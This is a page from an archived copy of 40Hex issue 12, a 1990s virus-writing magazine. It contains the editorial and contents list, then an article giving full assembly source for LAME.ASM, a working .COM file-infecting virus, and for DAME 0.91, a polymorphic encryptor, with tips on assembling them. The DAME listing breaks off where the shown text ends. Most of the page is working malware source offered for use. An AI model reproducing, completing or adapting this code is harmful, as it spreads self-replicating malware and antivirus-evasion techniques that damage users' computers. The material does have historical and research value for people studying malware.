informis
/
textfiles
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity
textfiles/magazines/40HEX/40hex012

5907 lines
240 KiB
Plaintext
Raw Permalink Blame History

40Hex Number 12 Volume 3 Issue 3 File 000
Welcome to 40Hex issue 12. This issue confirms that we are no
longer in our hibernation period (i.e. laziness). We have been out of
the virus scene for quite some time, due to physical circumstances
beyond our control. We have done a lot of reorganization, and trimmed
our fat a little bit. You can expect a lot from us in the upcoming
year, and I can assure you, you won't be dissappointed. Due to the
large gap of time between issue 11 and issue 12, some of the information
in here may be a little outdated.
We are going to get a little bit more political then we used to be,
but we will still keep cranking out the high quality technical
information that you all enjoy. I would strongly recommend that you
don't skip over the political parts of the magazine, because there are
people who want to make laws that will affect every reader of this
magazine.
On a completely seperate note, we can now be reached via Internet.
If you have any comments about the magazine, news articles, editorials,
etc. we'd like to know, and we'll probably put all of the interesting
letters into the magazine. Email us at:
fortyhex@mindvox.phantom.com
->GHeap
Table Of Contents
40Hex-12.000....................We're ba-ack
40Hex-12.001....................DAME Source 'Updated'
40Hex-12.002....................40Hex Hardcopy Rumors Confirmed
40Hex-12.003....................A Self Dis-Infecting .COM File
40Hex-12.004....................AIS BBS Commentary
40Hex-12.005....................Natas Virus By Priest
40Hex-12.006....................A Commentary by Sara Gordon
40Hex-12.007....................Nympho Mitosis 2.0 Debug Script
40Hex-12.008....................Viruses In The News
40Hex-12.009....................OS/2 Virus Source
Greets Fly out to: Urnst Kouch [And all other Crypt People], Nowhere Man,
The Attitude Adjuster, Omega and all of TridenT, Arthur Ellis, and
anyone else we may have forgotten.
40Hex Number 12 Volume 3 Issue 3 File 001
DAME, Revisited
By Dark Angel of Phalcon/Skism
As many of you may have noticed, the DAME presented in the last
issue of 40Hex many moons ago had a few flaws, chief of which was
a problem with the prefetch queue. Thanks to everyone who pointed
this out to me and jeers to Intel. It was also a mite weak in the
code generated. This version corrects several flaws present in the
original version. See the source code for a more in-depth discussion
of the improvements.
In this article, I present another lame virus to be linked with DAME.
The debug script is included at the end of the article and the source
code can be found following this short text. Before attempting to
assemble the source code, note that it is broken up into two files:
LAME.ASM and DAME.ASM. MAKE SURE YOU SEPARATE THEM FIRST! Some
complained that the source code didn't assemble in the last issue;
that was simply because they didn't break up the files.
DA
--Begin LAME.ASM--------------------------------------------------------------- .model tiny
.code
.radix 16
org 100
start: jmp temp ; The next two lines will be patched in
; cld ; DAME may have altered DF
; mov bx,ds
call calc_off
old4 dw 20cdh, 0
fmask db '*.com',0
dmask db '..',0
db 0dh,'This is a lame virus slapped together by DA/PS',0Dh,0A
db 'To demonstrate DAME 0.91',0Dh,0A,1a
vars = 0
include dame.asm ; include the code portion of DAME
calc_off:
pop si
mov ax,si
mov cl,4
shr ax,cl
sub ax,10
add ax,bx
mov bx,offset enter_vir
push ax bx
retf
enter_vir:
mov di,100
push es di es es
movsw
movsw
enter_vir0:
push cs cs
pop es ds
mov ah,1a
mov dx,offset new_dta ; set new DTA
int 21
mov ah,47
cwd
mov si,offset old_path+1
mov byte ptr [si-1],'\'
int 21
mov inf_cnt,4
call rnd_init_seed
inf_dir:mov ah,4e
mov dx,offset fmask
fnext: int 21
jnc inf_file
mov ah,3bh
mov dx,offset dmask
int 21
jnc inf_dir
done_all:
mov ah,3bh
mov dx,offset old_path
int 21
pop es ds ; restore the DTA
mov dx,80
mov ah,1a
int 21
retf ; return to carrier
inf_file:
mov ax,3d00
mov dx,offset new_dta + 1e
int 21
jc _fnext
xchg ax,bx
mov ah,3f
mov cx,4
mov dx,offset old4
int 21
mov ah,3e
int 21
cmp old4,0e9fc
jz _fnext
add al,ah
cmp al,'Z'+'M'
jz _fnext
call infect
dec inf_cnt
jz done_all
_fnext:
mov ah,4f
jmp short fnext
infect: mov ax,3d00
mov dx,offset new_dta + 1e
int 21
push ax
xchg ax,bx
mov ax,1220
int 2f
mov ax,1216
mov bl,es:di
mov bh,0
int 2f
pop bx
mov word ptr es:[di+2],2
mov ax,es:[di+11]
mov bp,ax
mov cx,4
sub ax,cx
mov patch,ax
mov ah,40
mov dx,offset oFCE9
int 21
mov word ptr es:[di+15],bp
push es di cs
pop es
mov si,100
mov di,offset copyvirus
mov cx,(heap - start + 1)/2
rep movsw
mov ax,0000000000001011b
mov dx,offset copyvirus
mov cx,heap - start
mov si,offset _decryptbuffer
mov di,offset _encryptbuffer
push dx bx si
mov bx,bp
inc bh
call dame
mov ah,40
pop dx bx
int 21
mov ah,40
mov cx,heap - start
pop dx
int 21
pop di es
or byte ptr es:[di+6],40
mov ah,3e
int 21
retn
oFCE9 dw 0e9fc
heap:
patch dw ?
inf_cnt db ?
vars = 1
include dame.asm ; include the heap portion of DAME
old_path db 41 dup (?)
new_dta db 2c dup (?)
_encryptbuffer: db 80 dup (?)
_decryptbuffer: db 1a0 dup (?)
copyvirus db heap - start + 20 dup (?)
temp: mov byte ptr ds:[100],0fc
mov word ptr ds:[101],0db8c
xor di,di
push cs di cs cs
jmp enter_vir0
end start
--End LAME.ASM--Begin DAME.ASM-------------------------------------------------
comment #
Dark Angel's Multiple Encryptor
Version 0.91
By Dark Angel of Phalcon/Skism
This source may be freely distributed. Modifications are
encouraged and modified redistribution is allowed provided
this notice and the revision history to date are not altered.
You are free to append to the revision history and update the
usage information.
Welcome to the source code for Dark Angel's Multiple Encryptor.
I, Dark Angel, will be your host for this short excursion through
a pretty nifty encryptor.
DAME 0.90 (1574 bytes)
~~~~ ~~~~ ~~~~~~~~~~~~
Initial release.
DAME 0.91 (1960 bytes)
~~~~ ~~~~ ~~~~~~~~~~~~
Source code commented.
The user no longer needs to call the encryption routine manually;
the routine calls it automatically. This makes DAME a bit more
"user friendly."
Garbling with two pointer registers simultaneously, i.e. [bx+di+offset]
is now supported.
Added "double-reference" encryptions. Example:
mov ax,[bx+3212]
xor ax,3213
mov [bx+3212],ax
There is now a bitflag option to generate a decryptor which will transfer
control to the buffer on a paragraph boundary.
There is now a 1% chance that no encryption will be encoded when
the "do_encrypt1" routine is called. Of course, null effect
encryptors may still be generated.
garble_jmpcond is much more robust. It can now put valid instructions
between the conditional jump and the target of the jump. Therefore,
there is no longer a multitude of JZ $+2's and the like. Instead, they
are replaced by JZ $+4, XOR BX,BX, for example.
The register tracker is cleared after the loop is completed. This makes
sense, since the registers are no longer needed. This also allows for the
manipulation of those used registers in the garbling after the loop is
completed.
Encoding routines enhanced: Two-byte PUSHes and POPs and four-byte register
MOVes added. Memory PUSHes and POPs are now supported.
The maximum nesting value is now the variable _maxnest, which can range
from 0 to MAXNEST. _maxnest is determined randomly at runtime. This makes
the decryption routines a bit more interesting. _nest is also cleared more
times during the run so that variability is continuous throughout.
Short decryptor option added. This is automatically used when generating
the encryptor so the encryptor will always be of minimal length.
More alignments are now possible. This makes the initial values of the
registers more flexible.
BUG FIXES:
BP is now preserved on exit
Prefetch queue flushed on backwards encryption; 386+ hangs eliminated.
See routine named "clear_PIQ"
Loopnz routines had possibility of not working properly; instruction
eliminated.
NOTES:
I forgot to give credit to the person from whom I stole the random number
routines. I took them from the routine embedded in TPE 1.x (I misremember
the version number). Many thanks to Masud Khafir!
USAGE:
ON ENTRY:
ax = flags
bit 15 : Use two registers for pointer : 0 = no, 1 = yes
bit 14 : Align size : 0 = word, 1 = dword
bit 13 : Encryption direction : 0 = forwards, 1 = backwards
bit 12 : Counter direction : 0 = forwards, 1 = backwards
bit 11 : Counter register used : 0 = no, 1 = yes
bit 10 : Temporary storage for double reference
bit 9 : Unused
bit 8 : Unused
bit 7 : Unused
bit 6 : Unused
bit 5 : Unused
bit 4 : Unused
bit 3 : return control on paragraph boundary : 1 = yes, 0 = no
bit 2 : short decryptor : 1 = yes, 0 = no (implies no garbling)
bit 1 : garble : 1 = yes, 0 = no
bit 0 : SS = DS = CS : 1 = yes, 0 = no
bx = start decrypt in carrier file
cx = encrypt length
dx = start encrypt
si = buffer to put decryption routine
di = buffer to put encryption routine
ds = cs on entry
es = cs on entry
RETURNS:
cx = decryption routine length
DF cleared
all other registers are preserved.
The RADIX is set to 16d.
NOTES:
rnd_init_seed is _not_ called by DAME. The user must explicitly call it.
The buffer containing the routine to be encrypted should be 20 bytes
larger than the size of the routine. This allows padding to work.
The decryption routine buffer should be rather large to accomodate the
large decryptors which may be generated.
The encryption routine buffer need not be very large; 80h bytes should
suffice. 90d bytes is probably enough, but this value is untested.
#
.radix 10h
ifndef vars
vars = 2
endif
if not vars eq 1 ; if (vars != 1)
_ax = 0
_cx = 1
_dx = 2
_bx = 3
_sp = 4
_bp = 5
_si = 6
_di = 7
_es = 8
_cs = 9
_ss = 0a
_ds = 0bh
; The constant MAXNEST determines the maximum possible level of nesting
; possible in any generated routine. If the value is too large, then
; recursion problems will cause a stack overflow and the program will
; crash. So don't be too greedy. 0Ah is a safe value to use for non-
; resident viruses. Use smaller values for resident viruses.
ifndef MAXNEST ; User may define MAXNEST prior to including
MAXNEST = 0a ; the DAME source code. The user's value will
endif ; then take precedence
rnd_init_seed:
push dx cx bx
mov ah,2C ; get time
int 21
in al,40 ; port 40h, 8253 timer 0 clock
mov ah,al
in al,40 ; port 40h, 8253 timer 0 clock
xor ax,cx
xor dx,ax
jmp short rnd_get_loop_done
get_rand:
push dx cx bx
in al,40 ; get from timer 0 clock
db 5 ; add ax, xxxx
rnd_get_patch1 dw 0
db 0BA ; mov dx, xxxx
rnd_get_patch2 dw 0
mov cx,7
rnd_get_loop:
shl ax,1
rcl dx,1
mov bl,al
xor bl,dh
jns rnd_get_loop_loc
inc al
rnd_get_loop_loc:
loop rnd_get_loop
rnd_get_loop_done:
mov rnd_get_patch1,ax
mov rnd_get_patch2,dx
mov al,dl
pop bx cx dx
retn
reg_table1:
; reg1 reg2 mod/00/rm This is used to handle memory addressing
db _bx, 84, 10000111b ; of the form [reg1+reg2+xxxx]
db _bp, 84, 10000110b ; if (reg2 == 84)
db _di, 84, 10000101b ; reg2 = NULL;
db _si, 84, 10000100b
db _bp, _di, 10000011b
db _bp, _si, 10000010b
db _bx, _di, 10000001b
db _bx, _si, 10000000b
db _di, _bp, 10000011b
db _si, _bp, 10000010b
db _di, _bx, 10000001b
db _si, _bx, 10000000b
aligntable db 3,7,0bh,0f,13,17,1bh,1f ; possible alignment masks
redo_dame:
pop di bp si dx cx bx ax
dame: ; Dark Angel's Multiple Encryptor
cld
push ax bx cx dx si bp di
call _dame
pop di
push cx di
call di
pop di cx bp si dx bx bx ax
ret
_dame: ; set up initial values of the variables
cld
push ax
mov ax,offset _encryptpointer
xchg ax,di ; save the pointer to the
stosw ; encryption routine buffer
xchg si,ax ; also save the pointer to
stosw ; the decryption routine
; buffer in the same manner
stosw
xchg ax,dx ; starting offset of
stosw ; encryption
xchg ax,bx ; starting offset of
stosw ; decryption routine
xchg cx,dx ; dx = encrypt size
xor ax,ax
mov cx,(endclear1 - beginclear1) / 2; clear additional data
rep stosw ; area
call get_rand ; get a random number
and ax,not 0f ; clear user-defined bits
pop cx ; cx = bitmask
xor cx,ax ; randomize top bits
call get_rand_bx ; get a random number
and bx,7 ; and lookup in the table
mov al,byte ptr [bx+aligntable] ; for a random rounding size
cbw
add dx,ax ; round the encryption
not ax ; size to next word, dword,
and dx,ax ; etc.
mov ax,dx ; save the new encryption
stosw ; length (_encrypt_length)
shr ax,1 ; convert to words
test ch,40 ; encrypting double wordly?
jz word_encryption ; nope, only wordly encryption
shr ax,1 ; convert to double words
word_encryption: ; all the worldly encryption
test ch,10 ; shall do thee no good, my
jnz counter_backwards ; child, lest you repent for
neg ax ; the sins of those who would
counter_backwards: ; bring harm unto others
stosw ; save _counter_value
push dx ; Save rounded length
call get_rand ; get a random value for the
stosw ; encryption value
; (_decrypt_value)
pop ax ; get rounded encryption length
; in bytes
test ch,20 ; is the encryption to run
jnz encrypt_forwards ; forwards or backwards?
neg ax ; Adjust for forwards
encrypt_forwards:
xor bx,bx ; Assume pointer_value2 = 0
test ch,80 ; Dual pointer registers?
jz no_dual
call get_rand_bx
sub ax,bx
no_dual:stosw ; Save the pointers to the
xchg ax,bx ; decryption (_pointer_value1
stosw ; and _pointer_value2)
; The following lines determine the registers that go with each function.
; There are a maximum of four variable registers in each generated
; encryption/decryption routine pair -- the counter, two pointer registers,
; and an encryption value register. Only one pointer register need be present
; in the pair; the other three registers are present only if they are needed.
s0: call clear_used_regs
mov di,offset _counter_reg
mov al,84 ; Assume no counter register
test ch,8 ; Using a counter register?
jz s1
call get_rand ; get a random initial value
mov _pointer_value1,ax ; for the pointer register
call get_another ; get a counter register
s1: stosb ; Store the counter register
xchg ax,dx
mov al,84 ; Assume no encryption register
call one_in_two ; 50% change of having an
js s2 ; encryption register
; Note: This merely serves as
; an extra register and may or
; may not be used as the
; encryption register.
call get_another ; get a register to serve as
s2: stosb ; the encryption register
cmp ax,dx ; normalise counter/encryption
ja s3 ; register pair so that the
xchg ax,dx ; smaller one is always in the
s3: mov ah,dl ; high byte
cmp ax,305 ; both BX and BP used?
jz s0 ; then try again
cmp ax,607 ; both SI and DI used?
jz s0 ; try once more
s4: mov si,offset reg_table1 ; Use the table
mov ax,3 ; Assume one pointer register
test ch,80 ; Using two registers?
jz use_one_pointer_reg
add si,4*3 ; Go to two register table
add al,4 ; Then use appropriate mask
use_one_pointer_reg:
call get_rand_bx ; Get a random value
and bx,ax ; Apply mask to it
add si,bx ; Adjust table offset
add bx,bx ; Double the mask
add si,bx ; Now table offset is right
lodsw ; Get the random register pair
mov bx,ax ; Check if the register in the
and bx,7 ; low byte is already used
cmp byte ptr [bx+_used_regs],0
jnz s4 ; If so, try again
mov bl,ah ; Otherwise, check if there is
or bl,bl ; a register in the high byte
js s5 ; If not, we are done
cmp byte ptr [bx+_used_regs],0 ; Otherwise, check if it is
jnz s4 ; already used
s5: stosw ; Store _pointer_reg1,
movsb ; _pointer_reg2, and
; _pointer_rm
calculate_maxnest:
call get_rand ; Random value for _maxnest
and al,0f ; from 0 to MAXNEST
cmp al,MAXNEST ; Is it too large?
ja calculate_maxnest ; If so, try again
stosb ; Otherwise, we have _maxnest
call clear_used_regs ; mark no registers used
encode_setup: ; encode setup portion
mov di,_decryptpointer ; (pre-loop) of the routines
call twogarble ; start by doing some garbling
; on the decryption routine
mov si,offset _counter_reg ; now move the initial
push si ; values into each variable
encode_setup_get_another: ; register -- encode them in a
call get_rand_bx ; random order for further
; variability
and bx,3 ; get a random register to en-
mov al,[si+bx] ; code, i.e. counter, pointer,
cbw ; or encryption value register
test al,80 ; is it already encoded?
jnz encode_setup_get_another ; then get another register
or byte ptr [bx+_counter_reg],80 ; mark it encoded in both the
mov si,ax ; local and
inc byte ptr [si+_used_regs] ; master areas
add bx,bx ; convert to word offset
mov dx,word ptr [bx+_counter_value] ; find value to set the
; register to
mov _nest,0 ; clear the current nest count
call mov_reg_xxxx ; and encode decryption routine
; instruction
call twogarble ; garble it some more
call swap_decrypt_encrypt ; now work on the encryption
; routine
push cx ; save the current bitmap
and cl,not 7 ; encode short routines only
call _mov_reg_xxxx ; encode the encryption routine
; instruction
pop cx ; restore bitmap
mov _encryptpointer,di ; return attention to the
; decryption routine
pop si
mov dx,4
encode_setup_check_if_done: ; check if all the variables
; have been encoded
lodsb ; get the variable
test al,80 ; is it encoded?
jz encode_setup ; nope, so continue encoding
dec dx ; else check the next variable
jnz encode_setup_check_if_done ; loop upwards
mov si,offset _encryptpointer ; Save the addresses of the
mov di,offset _loopstartencrypt ; beginning of the loop in
movsw ; the encryption and decryption
movsw ; routines
; Encode the encryption/decryption part of loop
mov _relocate_amt,0 ; reset relocation amount
call do_encrypt1 ; encode encryption
test ch,40 ; dword encryption?
jz dont_encrypt2 ; nope, skip
mov _relocate_amt,2 ; handle next word to encrypt
call do_encrypt1 ; and encrypt!
dont_encrypt2:
; Now we are finished encoding the decryption part of the loop. All that
; remains is to encode the loop instruction, garble some more, and patch
; the memory manipulation instructions so they encrypt/decrypt the proper
; memory locations.
mov bx,offset _loopstartencrypt ; first work on the encryption
push cx ; save the bitmap
and cl,not 7 ; disable garbling/big routines
call encodejmp ; encode the jmp instruction
pop cx ; restore the bitmap
mov ax,0c3fc ; cld, ret ; encode return instruction
stosw ; in the encryption routine
mov si,offset _encrypt_relocator ; now fix the memory
mov di,_start_encrypt ; manipulation instructions
push cx ; cx is not auto-preserved
call relocate ; fix address references
pop cx ; restore cx
mov bx,offset _loopstartdecrypt ; Now work on decryption
call encodejmp ; Encode the jmp instruction
push di ; Save the current pointer
call clear_used_regs ; Mark all registers unused
pop di ; Restore the pointer
call twogarble ; Garble some more
test cl,8 ; Paragraph alignment on
jnz align_paragraph ; entry to virus?
test ch,20 ; If it is a backwards
jz no_clear_prefetch ; decryption, then flush the
call clear_PIQ ; prefetch queue (for 386+)
no_clear_prefetch: ; Curse the PIQ!!!!!
call twogarble ; Garble: the final chapter
jmp short PIQ_done
align_paragraph:
mov dx,di ; Get current pointer location
sub dx,_decryptpointer2 ; Calculate offset when control
add dx,_start_decrypt ; is transfered to the carrier
inc dx ; Adjust for the JMP SHORT
inc dx
neg dx
and dx,0f ; Align on the next paragraph
cmp dl,10-2 ; Do we need to JMP?
jnz $+7 ; Yes, do it now
test ch,20 ; Otherwise, check if we need
jz PIQ_done ; to clear the prefetch anyway
call clear_PIQ_jmp_short ; Encode the JMP SHORT
PIQ_done:
mov _decryptpointer,di
mov si,offset _decrypt_relocator ; Calculate relocation amount
sub di,_decryptpointer2
add di,_start_decrypt
relocate:
test ch,20 ; Encrypting forwards or
jz do_encrypt_backwards ; backwards?
add di,_encrypt_length ; Backwards is /<0oI_
do_encrypt_backwards: ; uh huh uh huh uh huh
sub di,_pointer_value1 ; Calculate relocation amount
sub di,_pointer_value2
mov cx,word ptr [si-2] ; Get relocation count
jcxz exit_relocate ; Exit if nothing to do
xchg ax,di ; Otherwise we be in business
relocate_loop: ; Here we go, yo
xchg ax,di
lodsw ; Get address to relocate
xchg ax,di
add [di],ax ; Relocate mah arse!
loop relocate_loop ; Do it again 7 times
exit_relocate: ; ('cause that makes 8)
mov di,_decryptpointer ; Calculate the decryption
mov cx,di ; routine size to pass
sub cx,_decryptpointer2 ; back to the caller
ret
encodejmp:
mov di,word ptr [bx+_encryptpointer-_loopstartencrypt]
push bx
mov _nest,0 ; Reset nest count
mov al,_pointer_reg1 ; Get the pointer register
and ax,7 ; Mask out any modifications
mov dx,2 ; Assume word encryption
test ch,40 ; Word or Dword?
jz update_pointer1
shl dx,1 ; Adjust for Dword encryption
update_pointer1:
test ch,20 ; Forwards or backwards?
jz update_pointer2
neg dx ; Adjust for backwards
update_pointer2:
test ch,80 ; Are there two pointers?
jz update_pointer_now ; Continue only if so
sar dx,1 ; Halve the add value
push ax ; Save register to add
call add_reg_xxxx ; Add to first register
mov al,_pointer_reg2
and ax,7 ; Add to the second pointer
call add_reg_xxxx ; register
pop bx
test ch,8 ; Using a counter register?
jnz update_pointer_done ; If not, continue this
push bx ; Save first register
xchg ax,dx ; Move second register to DX
call get_another ; Get new register regX
call mov_reg_reg ; MOV regX, _pointer_reg2
pop dx ; Restore first register
call add_reg_reg ; ADD regX, _pointer_reg1
call clear_reg ; Clear the temp register
jmp short update_pointer_done ; Skip adjustment of pointer
; register (already done)
update_pointer_now:
call add_reg_xxxx ; Adjust pointer register
update_pointer_done:
mov dl,75 ; Assume JNZ
mov al,_counter_reg ; Is there a counter register?
and ax,7
cmp al,_sp
jz do_jnz
push dx ; Save JNZ
mov dx,1 ; Assume adjustment of one
test ch,10 ; Check counter direction
jz go_counter_forwards ; If forwards, increment the
; counter
cmp al,_cx ; Check if the counter is CX
jnz regular ; If not, then decrement the
; counter and continue
call one_in_two ; Otherwise, there is a 50%
js regular ; chance of using a LOOP
pop dx
mov dl,0e2 ; let us encode the LOOP
jmp short do_jnz
regular:neg dx
go_counter_forwards:
call add_reg_xxxx ; Adjust counter register
pop dx
do_jnz: pop bx
mov ax,[bx] ; Calculate value to JNZ/LOOP
sub ax,di ; back
dec ax
dec ax
xchg ah,al ; Value is in AL
mov al,dl ; jnz
or ah,ah ; Value >= 128? If so, it is
js jmplocation_okay ; impossible to JNZ/LOOP there
; due to stupid 8086 limitation
pop ax ax ; Take return locations off
jmp redo_dame ; the stack and encode again
jmplocation_okay:
stosw ; Encode JNZ/LOOP instruction
mov word ptr [bx+_encryptpointer-_loopstartencrypt],di
ret ; Save current location
encryption:
; This routine encodes the instruction which actually manipulates the memory
; location pointed to by the pointer register.
and ch,not 4 ; Default = no double reference
call one_in_two ; But there is a 50% chance of
js not_double_reference ; using a double reference
or ch,4 ; Yes, we are indeed using it
not_double_reference:
mov di,_decryptpointer ; Set the registers to work
mov bp,offset _decrypt_relocate_num ; with the decryption routine
call twogarble ; Insert some null instructions
xor ax,ax ; Get the value for the rm
mov al,_pointer_rm ; field corresponding to the
; pointer register/s used
call choose_routine ; Get random decryption type
call go_next ; to DX, BX, SI
push si dx si dx ; Save crypt value/register
; and crypt pointer
;; mov _nest,0 ; not needed - choose_routine does it
test ch,4
jz not_double_reference1 ; Double reference?
xchg ax,dx ; Pointer register/s to dx
call get_another ; Unused register to AX (reg1)
call mov_reg_reg ; MOV reg1,[pointer]
mov _kludge,dx ; Store the pointer register
not_double_reference1:
pop dx si ; Restore decryption pointer
call handle_jmp_table ; Encode decryption routine
push bx ; Save routine that was used
call twogarble ; Garble some more for fun
test ch,4
jz not_double_reference2 ; Double reference?
xchg ax,dx ; reg1 to dx
mov ax,_kludge ; Restore pointer
push ax ; Save pointer
call mov_reg_reg ; MOV [pointer],reg1
call clear_reg_dx ; Return reg1 to free pool
pop ax ; Restore pointer
not_double_reference2:
mov bp,offset _encrypt_relocate_num ; Set the registers to work
call swap_decrypt_encrypt ; with the encryption routine
pop bx dx si ; Restore crypt value/register
call go_next ; Convert to encryption table
jmp short finish_encryption ; and encode the encryption
; corresponding to the
; decryption
do_encrypt1: ; Perform encryption on a word
call playencrypt ; Alter encryption value
call get_rand ; Have a tiny chance
cmp ax,6 ; (1% chance) of not
jb playencrypt ; encrypting at all
call encryption ; Encrypt!
playencrypt: ; Update the encryption value
mov di,_decryptpointer
call twogarble
mov al,_encrypt_reg ; Encryption register used?
and ax,7
cmp al,4
jz swap_decrypt_encrypt
call get_rand_bx ; 75% chance of altering the
cmp bl,0c0 ; encryption value register
ja swap_decrypt_encrypt ; Exit if nothing is to occur
call choose_routine ; Select a method of updating
call handle_jmp_table_nogarble ; Encode the decryption
call swap_decrypt_encrypt ; Now work on encryption
finish_encryption:
push cx ; Save current bitmask
and cl,not 7 ; Turn off garbling/mo routines
call [bx+si+1] ; Encode the same routine for
; the encryption
pop cx ; Restore the bitmask
mov _encryptpointer,di
ret
choose_routine:
mov _nest,0 ; Reset recursion counter
call one_in_two ; 50% chance of using an
js get_used_register ; already used register as
; an update value
call get_rand_bx ; Get random number as the
; update value
mov si,offset oneregtable ; Choose the update routine
; from this table
jmp short continue_choose_routine ; Saves one byte over
; xchg dx,bx / ret
get_used_register:
; This routine returns, in DX, a register whose value is known at the current
; point in the encryption/decryption routines. SI is loaded with the offset
; of the appropriate table. The routine destroys BX.
call get_rand_bx ; Get a random number
and bx,7 ; Convert to a register (0-7)
cmp bl,_sp ; Make sure it isn't SP; that
jz get_used_register ; is always considered used
cmp byte ptr [bx+_used_regs],0 ; Check if the register is
jz get_used_register ; currently in use
mov si,offset tworegtable ; Use routine from this table
continue_choose_routine:
xchg dx,bx ; Move value to dx
ret ; and quit
swap_decrypt_encrypt:
mov _decryptpointer,di ; save current pointer
push ax
mov al,_maxnest ; disable garbling
mov _nest,al
pop ax
mov di,_encryptpointer ; replace with encryption
ret ; pointer
go_next:
; Upon entry, SI points to a dispatch table. This routine calculates the
; address of the next table and sets SI to that value.
push ax
lodsb ; Get mask byte
cbw ; Convert it to a word
add si,ax ; Add it to the current
pop ax ; location (table+1)
inc si ; Add two more to adjust
inc si ; for the mask
ret ; (mask = size - 3)
clear_used_regs:
xor ax,ax ; Mark registers unused
mov di,offset _used_regs ; Alter _used_regs table
stosw
stosw
inc ax ; Mark SP used
stosw
dec ax
stosw
ret
get_another: ; Get an unused register
call get_rand ; Get a random number
and ax,7 ; convert to a register
; cmp al,_sp
; jz get_another
mov si,ax
cmp [si+_used_regs],0 ; Check if used already
jnz get_another ; Yes, try again
inc [si+_used_regs] ; Otherwise mark the register
ret ; used and return
clear_reg_dx: ; Mark the register in DX
xchg ax,dx ; unused
clear_reg: ; Mark the register in AX
mov si,ax ; unused
mov byte ptr [si+_used_regs],0
ret
free_regs:
; This checks for any free registers and sets the zero flag if there are.
push ax cx di
mov di,offset _used_regs
mov cx,8
xor ax,ax
repne scasb
pop di cx ax
ret
one_in_two: ; Gives 50% chance of
push ax ; something happening
call get_rand ; Get a random number
or ax,ax ; Sign flag set 50% of the
pop ax ; time
ret
get_rand_bx: ; Get a random number to BX
xchg ax,bx ; Save AX
call get_rand ; Get a random number
xchg ax,bx ; Restore AX, set BX to the
return: ; random number
ret
garble_onebyte:
; Encode a single byte that doesn't do very much, i.e. sti, int 3, etc.
xchg ax,dx ; Get the random number in AX
and al,7 ; Convert to table offset
mov bx,offset onebytetable ; Table of random bytes
xlat ; Get the byte
stosb ; and encode it
ret
garble_jmpcond:
; Encode a random short conditional or unconditional JMP instruction. The
; target of the JMP is an unspecified distance away. Valid instructions
; take up the space between the JMP and the target.
xchg ax,dx ; Random number to AX
and ax,0f ; Convert to a random JMP
or al,70 ; instruction
stosw ; Encode it
push di ; Save current location
call garble ; May need to check if too large
mov ax,di ; Get current location
pop bx ; Restore pointer to the JMP
sub ax,bx ; Calculate the offset
mov byte ptr [bx-1], al ; Put it in the conditional
ret ; JMP
clear_PIQ:
; Encode instructions that clear the prefetch instruction queue.
; CALL/POP
; JMP SHORT
; JMP
call get_rand ; Get a random number
mov dl,ah ; Put high byte in DL
and dx,0f ; Adjust so JMP target is
; between 0 and 15 bytes away
and ax,3 ; Mask AX
jz clear_PIQ_call_pop ; 1/4 chance of CALL/POP
dec ax
jz clear_PIQ_jmp_short ; 1/4 chance of JMP SHORT
mov al,0e9 ; Otherwise do a straight JMP
clear_PIQ_word: ; Handler if offset is a word
stosb ; Store the JMP or CALL
xchg ax,dx ; Offset to AX
stosw ; Encode it
clear_PIQ_byte: ; Encode AX random bytes
push cx
xchg ax,cx ; Offset to CX
jcxz random_encode_done ; Exit if no bytes in between
random_encode_loop:
call get_rand ; Get a random number
stosb ; Store it and then do this
loop random_encode_loop ; again
random_encode_done:
pop cx
ret
clear_PIQ_jmp_short:
mov al,0ebh ; JMP SHORT
stosb ; Encode the instruction
xchg ax,dx
stosb ; and the offset
jmp short clear_PIQ_byte ; Encode intervening bytes
clear_PIQ_call_pop:
mov al,0e8 ; CALL
call clear_PIQ_word ; Encode instruction, garbage
call garble ; Garble some and then find
call get_another ; an unused register
call clear_reg ; keep it unused
jmp short _pop ; and POP into it
twogarble: ; Garble twice
mov _nest,0 ; Reset nest count
call garble ; Garble once
garble: ; ax, dx preserved ; Garble
call free_regs ; Are there any unused
jne return ; registers?
test cl,2 ; Is garbling enabled?
jz return ; Exit if not
push ax dx si
call get_rand ; Get a random number into
xchg ax,dx ; DX
call get_another ; And a random reg into AX
call clear_reg ; Don't mark register as used
mov si,offset garbletable ; Garble away
jmp short handle_jmp_table_nopush
handle_jmp_table: ; ax,dx preserved ; This is the master dispatch
call garble ; Garble before encoding
handle_jmp_table_nogarble: ; Encode it
push ax dx si
handle_jmp_table_nopush:
push ax
lodsb ; Get table mask
cbw ; Clear high byte
call get_rand_bx ; Get random number
and bx,ax ; Get random routine
pop ax
test cl,4 ; Short decryptor?
jnz doshort ; If so, use first routine
inc _nest ; Update nest count
push ax
mov al,_maxnest
cmp _nest,al ; Are we too far?
pop ax
jb not_max_nest ; If so, then use the first
doshort:xor bx,bx ; routine in the table
not_max_nest:
push bx ; Save routine to be called
call [bx+si] ; Call the routine
pop bx si dx ax
ret
garble_tworeg:
; Garble unused register with the contents of a random register.
mov si,offset tworegtable ; Use reg_reg table
and dx,7 ; Convert to random register #
jmp short handle_jmp_table_nogarble ; Garble away
garble_onereg:
; Garble unused register with a random value (DX).
mov si,offset oneregtable ; Point to the table
jmp short handle_jmp_table_nogarble ; and garble
_push: ; Encode a PUSH
or al,al ; PUSHing memory register?
js _push_mem
call one_in_two ; 1/2 chance of two-byte PUSH
js _push_mem
add al,50 ; otherwise it's really easy
stosb
ret
_push_mem:
add ax,0ff30
jmp short go_mod_xxx_rm1
_pop: ; Encode a POP
or al,al ; POPing a memory register?
js _pop_mem
call one_in_two ; 1/2 chance of two-byte POP
js _pop_mem
add al,58
stosb
ret
_pop_mem:
mov ah,8f
go_mod_xxx_rm1:
jmp mod_xxx_rm
mov_reg_xxxx: ; ax and dx preserved
mov si,offset mov_reg_xxxx_table
go_handle_jmp_table1:
jmp short handle_jmp_table
_mov_reg_xxxx_mov_add:
call get_rand_bx ; Get a random number
push bx ; Save it
sub dx,bx ; Adjust MOV amount
call mov_reg_xxxx ; MOV to register
pop dx ; Get random number
jmp short go_add_reg_xxxx ; Add it to the register
_mov_reg_xxxx_mov_al_ah:
cmp al,_sp
jae _mov_reg_xxxx
push ax dx
call _mov_al_xx
pop dx ax
xchg dh,dl
jmp short _mov_ah_xx
_mov_reg_xxxx_mov_xor:
call get_rand_bx
push bx
xor dx,bx
call mov_reg_xxxx
pop dx
jmp xor_reg_xxxx
_mov_reg_xxxx_xor_add:
push dx
mov dx,ax
call xor_reg_reg
pop dx
go_add_reg_xxxx:
jmp add_reg_xxxx
_mov_reg_xxxx_mov_rol:
ror dx,1
call mov_reg_xxxx
jmp short _rol
_mov_reg_xxxx_mov_ror:
rol dx,1
call mov_reg_xxxx
